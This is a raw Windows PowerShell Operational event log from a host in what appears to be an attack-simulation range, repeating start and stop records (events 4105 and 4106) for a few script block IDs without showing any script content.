OpCode=On create calls
RecordNumber=2042822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042807
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042806
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042805
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042804
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042788
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042787
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042782
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042781
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
